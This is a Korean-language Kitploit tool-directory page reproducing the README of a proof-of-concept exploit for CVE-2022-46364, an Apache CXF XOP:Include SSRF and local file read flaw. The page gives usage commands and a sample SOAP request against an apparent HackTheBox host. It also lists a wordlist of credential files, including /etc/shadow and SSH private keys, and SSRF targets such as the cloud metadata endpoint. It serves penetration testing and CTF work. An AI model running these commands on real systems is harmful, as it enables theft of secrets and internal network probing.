Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-46364-poc — CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI | Kitploit
도구/GitHubGitHub/0xmid00/cve-2022-46364-poc
Vulnerability AnalysisExploitationWeb Application ExploitationFuzzingPenetration Testing
GitHub0xmid00/cve-2022-46364-poc

CVE-2022-46364-poc

CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-46364 — Apache CXF XOP:Include SSRF / LFI

저자: 0xmid00
취약점: MTOM 요청 내 XOP:Include를 통한 SSRF / 로컬 파일 읽기
영향받는 버전: Apache CXF < 3.5.5 및 < 3.4.10


취약점 설명

Apache CXF는 XOP:Include 요소를 포함하는 MTOM(Message Transmission Optimization Mechanism) 메시지를 처리합니다. XOP:Include의 href 속성은 동일한 MTOM 멀티파트 메시지 내의 첨부 파일을 참조해야 합니다. 그러나 취약한 버전에서는 CXF가 href에 제공된 모든 URI를 따라가며, 여기에는 다음이 포함됩니다:

  • file:///etc/passwd → 로컬 파일 읽기 (LFI)
  • http://127.0.0.1:PORT/ → 내부 서비스 프로브 (SSRF)

공격자는 이를 트리거하기 위해 **최소 하나의 매개변수(모든 유형)**가 포함된 SOAP 요청을 보내기만 하면 됩니다.


요구 사항

root@kitploit:~
pip install requests

사용법

root@kitploit:~
python3 exploit.py -r request.txt [options]

인수


요청 파일 형식

원시 HTTP 요청을 캡처된 그대로 .txt 파일로 저장하세요 (예: Burp에서):

root@kitploit:~
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:tns="http://devarea.htb/">
  <soapenv:Body>
    <tns:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>test</content>
        <department>IT</department>
        <employeeName>john</employeeName>
      </arg0>
    </tns:submitReport>
  </soapenv:Body>
</soapenv:Envelope>

익스플로잇이 자동으로 MTOM 형식으로 변환합니다 — 수동으로 할 필요가 없습니다.


예제

모드 1 — 모든 삽입 가능한 필드 자동 탐지

root@kitploit:~
python3 exploit.py -r request.txt --mode 1

모든 리프 XML 요소에 file:///etc/passwd를 삽입하고 파일 내용을 반환하는 요소를 보고합니다.


모드 1 — 특정 필드 테스트

root@kitploit:~
python3 exploit.py -r request.txt --mode 1 --field content

모드 2 — 파일 퍼징 (먼저 필드 자동 탐지)

root@kitploit:~
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt

먼저 모드 1을 실행하여 삽입 가능한 필드를 찾은 다음, 해당 필드를 통해 워드리스트의 모든 경로를 퍼징합니다.


모드 2 — 알려진 필드로 파일 퍼징 (가장 빠름)

root@kitploit:~
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt

필드 탐지를 건너뛰고 바로 퍼징을 수행합니다.


단일 파일 읽기

root@kitploit:~
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa

워드리스트 예제 (lfi.txt)

root@kitploit:~
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog

또한 SecLists를 사용할 수 있습니다:

root@kitploit:~
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

작동 방식

  1. 원시 HTTP 요청 파일을 파싱합니다.
  2. SOAP 본문에서 대상 XML 필드를 찾습니다.
  3. 해당 내용을 <xop:Include href="file:///..."/>로 대체합니다.
  4. 요청을 MTOM 멀티파트 형식으로 래핑합니다 (CXF의 XOP 프로세서를 활성화하는 데 필요).
  5. 요청을 전송합니다 — CXF가 파일을 가져와 내용을 base64 인코딩하여 반환합니다.
  6. 결과를 디코딩하여 출력합니다.

SSRF 모드

파일을 읽는 대신 내부 HTTP 서비스를 프로브하려면:

root@kitploit:~
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/

또는 --read 값을 내부 URL로 수정하세요:

root@kitploit:~
--read http://169.254.169.254/latest/meta-data/   (AWS 메타데이터)
--read http://127.0.0.1:3306/                      (MySQL)
--read http://127.0.0.1:22/                        (SSH 배너)

면책 조항

이 도구는 승인된 침투 테스트 및 CTF 챌린지 전용입니다. 저자는 오용에 대해 책임을 지지 않습니다.

도구 다운로드
인수설명
-r, --request원시 HTTP 요청 파일 경로 (필수)
--mode 1/etc/passwd를 사용하여 삽입 가능한 XML 필드 자동 탐지
--mode 2파일 경로 워드리스트 퍼징
--field NAME삽입할 XML 필드 지정 (자동 탐지 건너뜀)
--wordlist PATHMode 2용 파일 워드리스트 경로
--read PATH단일 특정 파일 읽기
-v, --verbose상세 요청 정보 표시